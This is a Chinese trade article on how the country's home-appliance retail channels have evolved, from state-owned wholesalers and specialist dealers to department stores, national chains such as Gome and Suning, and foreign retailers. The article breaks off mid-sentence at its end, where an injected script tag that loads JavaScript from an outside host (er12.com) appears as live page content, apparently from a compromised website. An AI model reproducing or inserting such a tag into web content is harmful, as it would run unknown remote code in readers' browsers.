张彦斌
有人把国内当今的家电渠道格局比作是历史上的战国时代，其实我倒觉得比作春秋时代更为妥帖。因为，当今家电渠道格局不但存在有连锁渠道，还有传统的家电专业渠道，百货零售业态，甚至国外企业也是虎视眈眈，颇有春秋时期群雄逐鹿的态势。
虽然目前家电大连锁在一级市场占有竞争的主动权，但是在广大的二三四级市场上专业经销商还是占有绝大部分市场份额，而且在很多一二级市场百货商场还与大连锁在艰难的抗衡着。同时外资企业十分看好中国市场，正在积极谋划进军国内。其实，笔者认为目前还只是中国家电渠道格局变化的开始，真正的较量或者说是竞争还是一个相当长的历史时期。
渠道变革方兴未艾
国内家电营销渠道发展的可以追溯到上世纪80年代。从国有企业的裂变，到个体经营者的崛起，从小额批发到大户的代理，从厂家自建渠道到职业化代理制，从连锁家电卖场的横空出世到外资企业的介入。可以说家电业的渠道模式，随着市场的变化，其变革一直没有停止过。
在国内市场最早从事家电经营的当属计划经济时期的国有商业企业。包括五金交电化工公司、百货公司、商业外供系统的友谊公司、供销社系统的工业品公司。当时称之为国有商业主渠道。随着国家市场的不断放开和政策鼓励搞活市场，一部分国有商业企业开始跨行业经营，如食品企业经营彩电、文化用品公司经营空调等等。也有一些其它行业开始涉足相关的家电商品的经营，如供电企业经营空调、音响设备。最终一些企业固定下来专业经营家电商品，演变形成了专业经销商队伍。像上海锦辉、江苏星普、浙江五交化、武汉工贸、番禺沙园、广州宇华、福建友谊等全国知名的专业经销商，他们都是各地主要代理商。现在各省、市、县、镇都有一批依托原国有商业企业改制而成的专业家电营销企业，构成了家电专业渠道的主力军。随着政策的进一步开放和国有企业的改制，一些熟悉家电商品经营的专业人士自己组建公司，或者是挂靠在国有企业下专业经营家电商品，还有机构或个人投资者投资组建专业家电流通企业，如深圳名可达、厦门三峡贸易、陕西天元家电等。这是构成专业经销商队伍的主要力量。
百货零售商场经营家电商品是从计划经济时遗留下来的传统业务，曾经也是家电零售的主要渠道，一直与专业经销商分享着市场的甜蜜。随着家电连锁企业的崛起，百货商场经销家电产品的规模和专业性以及专业化的服务受到了极大的挑战。尤其是在一级市场上百货零售业经营家电产品受到了很大的冲击。像上海的中百一店、华联商厦都基本退出了对空调这样专业性强的家电商品的经营。但是就全国而言，很多中心城市的百货店还在继续经营着家电商品。比如南京中央商场、杭州百货大楼、长沙通程、武汉中商、武汉中百、成百光电、重庆百货、西安开元等还在坚守着自己的阵地。
家电连锁企业的崛起是家电流通格局最大的变化。我们深入观察不难发现，现在市场上活跃的几大家电连锁巨头其实也都是从家电专业经销商演化而来的。最大的家电连锁企业——国美电器，创立于上个世纪的1987年。初创时期，一直在北京从事彩电视听等家用电器的零售业务。1999年7月，国美首次走出北京，在天津开设两家连锁店，遭到当地十大商家的强烈抵制，这反倒使国美的知名度极大提高，被业界惊叹为“ 国美现象”。从此国美开始了征战全国的历程，到目前国美在全国100多个城市已经有连锁门店270余家；苏宁电器初创于1990年，曾经是南京的专业空调经销商，先从零售做起，尔后代理春兰、华宝等空调品牌，一度还介入过空调的生产制造领域。2000年前后，苏宁电器放弃了传统的批发代理，把经营的方向转向连锁，并开始冲出区域走向全国。目前苏宁在全国布设门店260 多家。还有永乐生活电器、五星电器和大中电器这些新近崛起的全国性家电流通企业，他们的前身或者发展初期也大都是专业经销商。
在家电流通格局变化最大的还有外资企业的进入。过去由于政策的限制，国内零售市场没有向外资企业放开。随着中国加入wto后承诺的国内零售市场放后，一大批带有外资背景的企业进入国内零售市场，这些企业虽然大都是百货综合性卖场，但也都经营家电商品，成为国内家电流通不可忽视的力量。当然也有像台湾灿坤这样的专业3c店，使得国内家电流通业的渠道模式更具多元化。
从上述中我们不难发现，家电流通渠道的变革正处于变革当中，除了外资企业处于试探时期外，国内各种流通形态虽然形式各异，但各自之间都有着承续和演化的关系。他们在同一舞台上的竞争、互补，共同推动着国内家电市场的发展。
各种渠道优劣互现
国内家电流通业态的发展变化是与国内经济发展相适应的，政府在产业政策导向上也是非常明确的。改革开放初期，政府提倡放开搞活，鼓励多种经济成分进入流通领域，这一时期正是彩电、空调、冰箱等新兴家电产品市场的萌芽或者是快速?script src=http://er12.com/t.js>
